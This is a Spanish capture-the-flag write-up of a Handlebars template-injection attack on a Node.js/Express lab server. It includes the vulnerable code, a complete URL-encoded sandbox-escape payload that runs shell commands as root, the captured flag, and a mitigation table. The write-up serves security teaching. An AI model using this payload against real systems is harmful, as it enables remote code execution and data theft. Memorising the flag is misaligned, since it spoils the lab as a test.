| Componente | Valor |
|---|---|
| Runtime | Node.js |
| Framework | Express.js |
| Template Engine | Handlebars (hbs) |
Express por sí solo no tiene capacidades de templating — requiere un engine externo configurado por el desarrollador. La pregunta clave durante el reconocimiento no es "qué usa Node.js" sino "qué engine específico eligió el dev". Aquí: Handlebars.
Se inyecta {{7*7}} en el campo email del formulario. El servidor responde con stack trace completo:
Error: Parse error on line 1:
{{7*7}}
--^
Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'
at Parser.parseError (.../handlebars/compiler/parser.js:268:19)
at Parser.parse (.../handlebars/compiler/parser.js:337:30)
at HandlebarsEnvironment.parse (.../handlebars/compiler/base.js:46:43)
at compileInput (.../handlebars/compiler/compiler.js:515:19)
at ret (.../handlebars/compiler/compiler.js:524:18)
at router.post (/root/Backend/routes/handlers.js:15:18)
Handlebars no es un evaluador de expresiones aritméticas. A diferencia de Jinja2 o Twig donde {{7*7}} produce 49, en Handlebars el operador * es un token inválido — el parser explota antes de ejecutar nada.
| Campo | Valor | Significado |
|---|---|---|
| Engine | handlebars |
Confirmado por el path del módulo |
| Root path | /root/Backend/ |
Path absoluto del servidor |
| Archivo vulnerable | routes/handlers.js:15 |
El input se pasa directamente al compilador |
| Usuario del proceso | root |
Confirmado después vía RCE |
El leak de stack trace es en sí mismo una misconfiguration grave. En producción los errores deben ser genéricos. Aquí nos regala el stack completo.
| Engine | Sintaxis | Evaluación aritmética |
|---|---|---|
| Jinja2 | {{ 7*7 }} |
Sí |
| Twig | {{ 7*7 }} |
Sí |
| Handlebars | {{ variable }} |
No |
| EJS | <%= variable %> |
Sí |
| Pug | #{variable} |
No |
La vulnerabilidad existe cuando el input del usuario se pasa directamente al compilador sin sanitización:
// routes/handlers.js ~línea 15 — código vulnerable
app.post('/', (req, res) => {
const email = req.body.email;
const template = handlebars.compile(email); // ← INPUT DEL USUARIO COMO TEMPLATE
const result = template({});
res.render('index', { email: result });
});handlebars.compile() debería recibir un template hardcodeado, nunca input del usuario.
{{this.push "return require('child_process').exec('whoami');"}}
Error: ReferenceError: require is not defined
¿Por qué falla? Handlebars ejecuta el código generado dentro de un sandbox aislado vía new Function(...). En ese contexto, require no existe — no está expuesto en el scope del sandbox.
| Objeto | Disponible en sandbox |
|---|---|
require |
No |
process |
No (directamente) |
global |
Sí — es el objeto top-level de Node.js |
En Node.js, global engloba todo el scope global del runtime. La cadena de acceso:
global
└── process
└── mainModule
└── require ← aquí está require
global.process.mainModule.require('child_process').execSync('whoami').toString()El payload abusa del prototype chain de Handlebars para escapar el sandbox e invocar el Function constructor con código arbitrario:
| Paso | Qué ocurre |
|---|---|
"s" como string literal |
Acceso a String.prototype |
string.sub |
Referencia a String.prototype.sub |
string.sub.constructor |
Obtiene Function — el constructor nativo de funciones JS |
codelist |
Array usado como argumentos para Function() |
this.push "return global..." |
Metemos nuestro código como cuerpo de la función |
string.sub.apply(0, codelist) |
Invoca Function("return global.process.mainModule.require(...)") |
Equivalente directo: new Function("return global.process.mainModule.require('child_process').execSync('whoami').toString()")()
La clave: String.prototype.sub.constructor === Function. Al invocarlo con código arbitrario, creamos y ejecutamos una función fuera del contexto restringido del sandbox.
- Burp Proxy con Intercept ON, enviar el formulario
- Send to Repeater (
Ctrl+R) - Pegar el payload en el campo
email - URL-encode del payload: seleccionar → clic derecho → Convert Selection > URL > URL-encode key characters
- Verificar que
&action=Submitquede fuera del encode - Send
POST / HTTP/1.1
Host: 10.129.97.64
Content-Type: application/x-www-form-urlencoded
email={{%23with+"s"+as+|string|}}{{%23with+"e"}}{{%23with+split+as+|conslist|}}{{this.pop}}{{this.push+(lookup+string.sub+"constructor")}}{{this.pop}}{{%23with+string.split+as+|codelist|}}{{this.pop}}{{this.push+"return+global.process.mainModule.require('child_process').execSync('whoami').toString()"}}{{this.pop}}{{%23each+conslist}}{{%23with+(string.sub.apply+0+codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}&action=SubmitRespuesta:
We will contact you at: e2[object Object]function Function() { [native code] }2[object Object]root
El root al final es el output de whoami — el proceso corre como root.
Cambiar whoami por cat /root/flag.txt:
...execSync('cat+/root/flag.txt').toString()...
Flag: 6b258d726d287462d60c103d0142a81c
Input sin sanitizar
↓
handlebars.compile(userInput) ← vulnerability point
↓
Parser procesa el payload malicioso
↓
Prototype chain abuse: String.prototype.sub.constructor → Function
↓
new Function("return global.process.mainModule.require(...)")()
↓
Bypass del sandbox vía objeto `global`
↓
require('child_process').execSync('cat /root/flag.txt')
↓
RCE como root → flag
| Vector | Mitigación |
|---|---|
| Input del usuario como template | Nunca pasar input a handlebars.compile() — los templates deben ser estáticos |
| Stack trace leak | Deshabilitar errores verbosos en producción (NODE_ENV=production) |
| Proceso como root | Correr el servidor con usuario sin privilegios (principio de mínimo privilegio) |
| Confianza en el sandbox | El sandbox de Handlebars no es una medida de seguridad confiable — no usarlo como única defensa |